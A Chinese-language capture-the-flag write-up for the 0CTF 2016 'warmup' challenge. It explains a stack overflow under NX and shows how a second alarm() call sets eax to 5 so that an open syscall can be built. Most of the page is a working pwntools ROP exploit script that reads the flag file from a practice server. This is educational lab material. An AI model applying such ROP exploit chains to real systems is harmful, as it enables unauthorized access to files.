0CTF_2016_warmup(alarm函數在rop裏的妙用)

0CTF_2016_warmup

首先,檢查一下程序的保護機制

然後,我們用IDA分析一下

漏洞很簡單,存在一個棧溢出漏洞。難點就在於NX保護開啓,不然我們可以佈置shellcode。這個程序不依靠glibc,並且棧溢出尺寸太小,並且gadgets少的可憐。幾乎不能造出execve的系統調用。查看程序,發現已經有read、write可以使用,如果我們再整出個open系統調用,就能讀取文件了。由於棧溢出尺寸太小,因此要想使得eax的值爲5,並且能同時調用syscall,不能完成。突破點就在於alarm函數了。alarm函數有一個特性,如果多次調用alarm,那麼alarm就會返回前一個alarm開始到現在,還剩下多長時間。比如,第一次alarm(10),然後過來2s,我們又調用alarm(1234),那麼第二次的alarm返回值eax爲10s-2s=8s。

程序中alarm(0xA),因此,我們只需要休眠5s,然後再調用一次alarm,就可以使得eax的值爲5,從而構造open系統調用。

#coding:utf8
from pwn import *

#sh = process('./warmup')
sh = remote('node3.buuoj.cn',26614)
vuln_addr = 0x0804815A
read_addr = 0x0804811D
write_addr = 0x08048135
data = 0x080491BC
syscall = 0x0804813A
alarm_addr = 0x804810d
#先將flag文件名字符串讀取到data段
payload = 'a'*0x20 + p32(read_addr) + p32(vuln_addr) + p32(0) + p32(data) + p32(0x10)
sh.sendafter('Welcome to 0CTF 2016!',payload)
sh.sendafter('Good Luck!','/flag'.ljust(0x10,'\x00'))
#第二步,打開flag
#通過第二次調用alarm,eax的值會返回第一次alarm到現在還剩下多少時間,如果正好爲5,就可以打開文件了
#因此,我們休眠0xA-5 = 5s
sleep(5)
payload = 'a'*0x20 + p32(alarm_addr) + p32(syscall) + p32(vuln_addr) + p32(data) + p32(0)
sh.send(payload)
#讀取flag
payload = 'a'*0x20 + p32(read_addr) + p32(vuln_addr) + p32(3) + p32(data) + p32(0x30)
sh.sendafter('Good Luck!',payload)
#打印flag
payload = 'a'*0x20 + p32(write_addr) + p32(0) + p32(1) + p32(data) + p32(0x30)
sh.sendafter('Good Luck!',payload)

sh.interactive()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章